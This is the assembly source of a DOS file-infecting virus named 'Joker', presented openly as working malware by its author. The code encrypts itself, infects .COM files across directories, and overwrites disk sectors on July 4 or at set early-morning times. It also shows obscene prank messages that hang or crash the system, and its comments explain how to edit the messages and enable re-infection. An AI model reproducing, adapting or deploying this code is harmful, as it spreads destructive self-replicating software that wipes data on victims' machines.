title " Joker! virus. Written by The BOOT SECTOR Infector ... " ; ; Joker - This is a remake of the deceased "Joker/Jocker" virus. The original ; had multiple programming errors in it that kept it from replicating. ; My version is much more successful. ; page 255,80 code segment word public 'code' assume cs:code,ds:code org 100h main proc;edure ;EQUates... idc equ 69h ;ID character - (note: 69) cr equ 13 ;ASCII for carriage return lf equ 10 ;ASCII for line feed ;End codes. These determine what happens after the string is displayed. terminate equ 0 ;Terminate program after display halt equ 1 ;Cause the system to hang after display SimulateCritErr equ 2 ;Simulate the critical error handler return2host equ 3 ;Resume program immediately FlashFloppy equ 4 ;Wait for a key, then reset Drive A: WaitKey equ 5 ;Wait for a key, then resume program PauseKey equ 6 ;Same thing, but uses a pause message StackError equ 7 ;Cause a stack overflow (halts system) tof: ;Top-Of-File jmp begin ;Skip over program idchar: db idc ;ID character HostProgram: nop ;First run copy only! nop ;First run copy only! first_four: nop ;First run copy only! address: int 20h ;First run copy only! check: nop ;First run copy only! begin: call nextline ;Push IP+3 onto stack nextline: pop bp ;mov bp,ip sub bp,offset nextline ;bp=disp. for mem locs push ax ;Save AX call cryptor ;Decrypt jmp short retloc ;Continue program cryptor: mov al,[bp+offset encrypt_val] ;encrypt val lea si,[bp+offset toec] ;Top Of Encrypted Code mov cx,offset eoec-offset toec ;Length of " " cryptorloop: xor [si],al ;en/de crypt rol al,cl ;change code # inc si ;Next char please! loop cryptorloop ;loop if necessary ret ;Return to caller infect: call cryptor ;Encrypt code pop cx ;Restore CX for INT 21 int 21h ;Call DOS call cryptor ;Decrypt code ret ;Go back toec:;ؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤTop Of Encrypted Code InfectIt: push cx ;Save CX for sub jmp infect retloc: pop ax ;Restore AX xor di,di ;DI = 0 cli ;Disable interrupts mov ss,di ;Set up stack at: mov sp,2F0h ; 0000:02F0 sti ;Enable interrupts mov si,96h ;Vector for INT 24h mov bx,ss:[si] ;BX = offset in segment mov cx,ss:[si+2] ;CX = segment lea dx,[bp+offset int24handler] ;CS:DX -} local handler mov ss:[si],DX ;Save offset mov ss:[si+2],cs ;Save segment mov si,es:[di+2F8h] ;Check operation mode cmp si,4643h ;'CF' if already TSRed jne GoOn ;Nope, jmp jmp return ;Yes, don't do anything GoOn: mov cs:[di+4Ch],bx ;use unused part of PSP mov cs:[di+4Eh],cx ; to save BX and CX push cs ;Copy CS ... pop es ; ... to DS mov byte ptr [bp+offset infected],0 ;Reset infection count mov byte ptr [bp+offset max2kill],3 ;Stop after 3 or less GoOn2: lea si,[bp+offset first_four] ;Original first 4 bytes mov di,offset tof ;TOF never changes cld ;Read left-to-right movsw ;Copy the 4 bytes movsw ;Copy the 4 bytes mov ah,1Ah ;Set DTA address ... lea dx,[bp+offset DTA] ; ... to *our* DTA int 21h ;Call DOS to set DTA mov ah,4Eh ;Find First ASCIIZ lea dx,[bp+offset filespec] ;DS:DX -} '*.COM',0 lea si,[bp+offset filename] ;Point to file push dx ;Save DX jmp short continue ;Continue... return: mov ah,1ah ;Set DTA address ... mov dx,80h ; ... to default DTA int 21h ;Call DOS to set DTA xor di,di ;DI= 0 mov es,di ;ES= 0 mov si,96h ;Vector for INT 24h mov bx, cs:[di+4Ch] ;Restore from saved BX mov word ptr es:[si+0], bx ;Place back into vector mov cx, cs:[di+4Eh] ;Restore from saved CX mov word ptr es:[si+2], cx ;Place back into vector push cs ;Move CS ... pop es ; ... to ES mov ax,[bp+offset SavedAX] ;Restore AX xor bx,bx ;BX= 0 mov cx,bx ;CX= 0 mov dx,cx ;DX= 0 mov si,dx ;SI= 0 mov di,si ;DI= 0 mov sp,0FFFEh ;SP= FFFEh (normal) mov bp,100h ;BP= 100h (RETurn addr) push bp ; Put on stack mov bp,ax ;BP= 0 ret ;JMP to 100h nextfile: or bx,bx ;Did we open the file? jz skipclose ;No, so don't close it mov ah,3Eh ;Close file int 21h ;Call DOS to close it xor bx,bx ;Set BX back to 0 skipclose: mov ah,4Fh ;Find Next ASCIIZ continue: pop dx ;Restore DX push dx ;Re-save DX xor cx,cx ;CX= 0 xor bx,bx int 21h ;Find First/Next jnc skipjmp jmp NoneLeft ;Out of files skipjmp: mov ax,3D02h ;open file mov dx,si ;point to filespec int 21h ;Call DOS to open file jc nextfile ;Next file if error mov bx,ax ;get the handle mov ah,3Fh ;Read from file mov cx,4 ;Read 4 bytes lea dx,[bp+offset first_four] ;Read in the first 4 int 21h ;Call DOS to read cmp byte ptr [bp+offset check],idc ;Already infected? je nextfile ;Yep, try again ... ;NOTE: Delete the two lines above if you want it to re-infected programs. cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE? je nextfile ;Yep, maybe next time! mov ax,4202h ;LSeek to EOF xor cx,cx ;CX= 0 xor dx,dx ;DX= 0 int 21h ;Call DOS to LSeek cmp ah,0F8h ;Longer than 62K? ja nextfile ;Yep, try again... mov [bp+offset addr],ax ;Save call location mov ah,40h ;Write to file mov cx,4 ;Write 4 bytes lea dx,[bp+offset first_four] ;Point to buffer int 21h ;Save the first 4 bytes mov ah,[bp+offset encrypt_val] ;Get code number inc ah ;add 1 adc ah,0 ;increment if it's zero mov [bp+offset encrypt_val],ah ;Save new code number mov ah,40h ;Write to file mov cx,offset eof-offset begin ;Length of target code lea dx,[bp+offset begin] ;Point to virus start call InfectIt ;Exempt from encryption ComeBackHere: mov ax,4200h ;LSeek to TOF xor cx,cx ;CX= 0 xor dx,dx ;DX= 0 int 21h ;Call DOS to LSeek mov ax,[bp+offset addr] ;Retrieve location inc ax ;Adjust location mov [bp+offset address],ax ;address to call mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 inst. mov byte ptr [bp+offset check],idc ;EOFMARK mov ah,40h ;Write to file mov cx,4 ;Write 4 bytes lea dx,[bp+offset first_four] ;4 bytes are at [DX] int 21h ;Write to file inc byte ptr [bp+offset infected] ;increment counter dec byte ptr [bp+offset max2kill] ;decrement counter jz TheEnd ;If 0 then End inc byte ptr [bp+offset encrypt_val] ;change code # adc byte ptr [bp+offset encrypt_val],0 ;adjust if 0 jmp nextfile ;Next victim! NoneLeft: cmp byte ptr [bp+offset infected],3 ;At least 3 infected? jae TheEnd ;The party's over! mov di,100h ;DI= 100h cmp word ptr [di],20CDh ;an INT 20h? je TheEnd ;Don't go to prev. dir. lea dx,[bp+offset prevdir] ;'..' mov ah,3Bh ;Set current directory int 21h ;CHDIR .. jc TheEnd ;We're through! mov ah,4Eh jmp continue ;Start over in new dir TheEnd: xor di,di ;DI= 0 mov es,di ;ES= 0 mov ah,2ah ;Get date int 21h ;Do it cmp dl,4 ;4th of the month? jne test2 ;Nope, second test cmp dh,7 ;July? jne test2 ;Nope, second test xor ax,ax ;Sector 0 jmp Kill ;Kill the disk now... test2: mov ah,2ch ;Get time int 21h ;Do it or cl,cl ;On the hour? (x:00 xM) jnz GiveUp ;Return to program cmp ch,6 ;Midnight to 5 AM ??? jnl GiveUp ;Return to program add cl,ch ;Add first number mov ax,cx ;Transfer to AX cbw ;Zero out AH add al,dh ;Add DL to AL adc al,dl ;Add DL and carry flag adc ah,0 ;Add carry to AH or ax,ax ;AX = 0 ??? jnz Kill ;Kill the disk now... inc ax ;Well, adjust first... Kill: mov dx,ax ;Sector number mov cx,1 ;One at a time.... xor bx,bx ;Point at PSP mov ah,19h ;Get current disk int 21h ;Call DOS to ^ int 26h ;Now kill the disk GiveUp: mov bx,offset message_table ;point to table mov ah,2ch ;Get time int 21h ;Call DOS to ^ inc dh ;(0-59) timeloop: cmp dh,msgs ;mapped yet? jl timedone ;Yes, jump sub dh,msgs ;try to map it jmp short timeloop ;and check out work timedone: mov al,dh ;AL gets msg # mov cl,al ;Save in CL for CritErr cbw ;AH gets 0 shl ax,1 ;AX = AX * 2 add bx,ax ;BX = index mov si,[bx] ;SI points to string mov ch,[si-1] ;CH is technique # mov dx,si ;DX points to string mov ah,9 ;Display string int 21h ;Call DOS to ^ cmp ch,terminate ;Terminate program? je TerminateProg ;Nope, next test cmp ch,halt ;Halt program? je $ ;Hang system if ch=halt cmp ch,SimulateCritErr ;Simulate CritErr? je simulate ;yes, go do it cmp ch,Return2host ;Return to host? je ResumeProgram ;yes, go do it cmp ch,FlashFloppy ;Flash drive A:? je FlashFlop ;Yes, go do it cmp ch,WaitKey ;Wait for keypress? je zwait ;Yes, go do it cmp ch,PauseKey ;Pause message w/ wait? je zpause ;Yes, go do it cmp ch,StackError ;Stack overflow? je StackErr ;Yes, go do it ;Invalid code, assume Return2host ResumeProgram: jmp return ;Return to caller StackErr: call $ ;Cause stack overflow TerminateProg: int 20h ;Yep, all done! simulate: lea dx,[bp+offset ARIFmsg] ;Abort, Retry ... mov ah,9 ;Print string int 21h ;Call DOS to ^ mov ah,1 ;Input a char int 21h ;Call DOS to ^ lea dx,[bp+offset crlf] ;crlf mov ah,9 ;Print string int 21h ;Call DOS to ^ cmp al,'a' ;Uppercase? jb uppercase ;Nope, jump sub al,' ' ;Yes, make uppercase uppercase: cmp al,'A' ;Abort? je terminateprog ;Yep, go do it. cmp al,'R' ;Retry? jne zskip ;skip over "retry" code lea dx,[bp+offset crlf] ;Point to crlf mov ah,9 ;Print string int 21h ;Call DOS to ^ mov dh,cl ;Restore DH from CL jmp timedone ;Reprint error zskip: cmp al,'I' ;Ignore? je ResumeProgram ;Return to host program cmp al,'F' ;Fail? jne simulate ;Invalid response lea dx,[bp+offset fail24] ;Point to fail string mov ah,9 ;Print string int 21h ;Call DOS to ^ int 20h ;Terminate program FlashFlop: mov ah,1 ;Wait for keypress int 21h ;Call DOS to ^ xor ax,ax ;Drive A: mov cx,1 ;Read 1 sector mov dx,ax ;Start at boot sector lea bx,[bp+offset boot_sector] ;BX points to buffer int 25h ;Flash light on A: jmp short ResumeProgram ;Resume if no error zpause: lea dx,[bp+offset pause] ;Point to pause message mov ah,9 ;Print string int 21h ;Call DOS to ^ zwait: mov ah,1 ;Wait for keypress int 21h ;Call DOS to ^ jmp short ResumeProgram ;Go on... ARIFmsg db cr,lf,'Abort, Retry, Ignore, Fail?$' fail24 db cr,lf,cr,lf,'Fail on INT 24' crlf db cr,lf,'$' message_table: dw offset msg1 dw offset msg2 dw offset msg3 dw offset msg4 dw offset msg5 dw offset msg6 dw offset msg7 dw offset msg8 dw offset msg9 dw offset msg10 dw offset msg11 dw offset msg12 dw offset msg13 dw offset msg14 dw offset msg15 dw offset msg16 dw offset msg17 dw offset msg18 dw offset msg19 dw offset msg20 msgs db 20 ; I tried to make it as simple as possible to change the messages ; and add/delete them. Each message is in the format: ; ; db [technique] ;[label] db [Text] ; ; Where [technique] is one of the 8 codes shown at the beginning of ; this file (terminate, halt, etc.). This determines what the virus ; should do after printing the message. ; [label] is in the form "msg##" where ## is a number from 1 to ; "msgs". "msgs" is defined immediately before this ; comment block. ; [text] is a combination of text and ASCII codes, terminated by ; either a '$' or a ,36. ; ; If you change the number of messages the virus has, you should also ; add/remove lines from the offset table and change the "msgs" ; data byte appropriately. Let's say for instance that you want ; to remove "Program too big to fit in memory.": ; 1) Delete the line(s) with the message and the line ; immediately before it. ; 2) Move message #20 up to message #2's position and ; change its label from "msg20" to "msg2". ; 3) Delete the line "dw offset msg20" from the offset ; table. ; 4) Change the line before this comment block to: ; "msgs db 19" ; ; Later! ; -The BOOT SECTOR Infector ... ; db FlashFloppy ;Waits for key, then flashes drive A: msg5 db 'I',39,'m hungry! Insert PIZZA & BEER into drive A: and',cr,lf pause db 'Strike any key when ready... $' db SimulateCritErr ;Prints ARIF message and responds appropriately msg1 db 'Impotence error reading user',39,'s dick$' db terminate ;Ends the program immediately msg2 db 'Program too big to fit in memory',cr,lf,'$' db halt ;Halts the system msg3 db 'Cannot load COMMAND, system halted',cr,lf,'$' db terminate ;Ends the program immediately msg4 db 'I',39,'m sorry, Dave.... but I',39,'m afraid' db ' I can',39,'t do that!',cr,lf,'$' db WaitKey ;Waits for a keypress, then runs the program msg6 db 'Format another? (Y/N)? $' db StackError ;Generates a stack overflow (halts the system) msg7 db 'Damn it! I told you not to touch that!$' db terminate ;Ends the program immediately msg8 db 'Suck me!',cr,lf,'$' db SimulateCritErr ;Prints ARIF message and responds appropriately msg9 db 'Cocksucker At Keyboard error reading device CON:$' db terminate ;Ends the program immediately msg10 db 7,cr,cr,cr,7,cr,cr,cr,7,cr,cr,cr,lf db 'I',39,'m sorry, but your call cannot be completed as dialed.' db cr,lf,'Please hang up & try your call again.',cr,lf,'$' db terminate ;Ends the program immediately msg11 db 'No!',cr,lf,cr,lf,'$' db halt ;Halts the system msg12 db 'Panic kernal mode interrupt$' db WaitKey ;Waits for a keypress, then runs the program msg13 db 'CONNECT 1200«',cr,lf,cr,lf,'$' db return2host ;Runs host program immediately msg14 db 'Okay, okay! Be patient! ...',cr,lf,'$' db terminate ;Ends the program immediately msg15 db 'And if I refuse?',cr,lf,'$' db return2host ;Runs host program immediately msg16 db 'Fuck the world and its followers!',cr,lf,'$' db return2host ;Runs host program immediately msg17 db 'You are pathetic, man... you know that?',cr,lf,'$' db terminate ;Ends the program immediately msg18 db 'Cum on! Talk DIRTY to me !!!',cr,lf,'$' db terminate ;Ends the program immediately msg19 db 'Your coprocessor wears floppy disks!',cr,lf,'$' db PauseKey ;Waits for keypress (SAKWR), then runs host prg msg20 db 'Joker! ver àà by TBSI!',cr,lf db 'Remember! EVERYTHING',39,'s bigger in Texas!',cr,lf,'$' int24handler: xor al,al ;Ignore the error iret ;Interrupt return filespec: db '*.COM',0 ;File specification prevdir: db '..',0 ;previous directory max2kill db 3 ;max. files to infect eoec:;ؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤؤEnd Of Encrypted Code VersionNumber dw 100h ;Version 1.00 encrypt_val db 0 ;1st-run copy only ; None of this information is included in the virus's code. It is only used ; during the search/infect routines and it is not necessary to preserve it ; in between calls to them. eof: DTA: db 21 dup (?) ;internal search's data attribute db ? ;attribute file_time db 2 dup (?) ;file's time stamp file_date db 2 dup (?) ;file's date stamp file_size db 4 dup (?) ;file's size filename db 13 dup (?) ;filename SavedAX dw ? ;Used to save AX infected db ? ;infection count addr dw ? ;Address boot_sector: main endp;rocedure code ends;egment end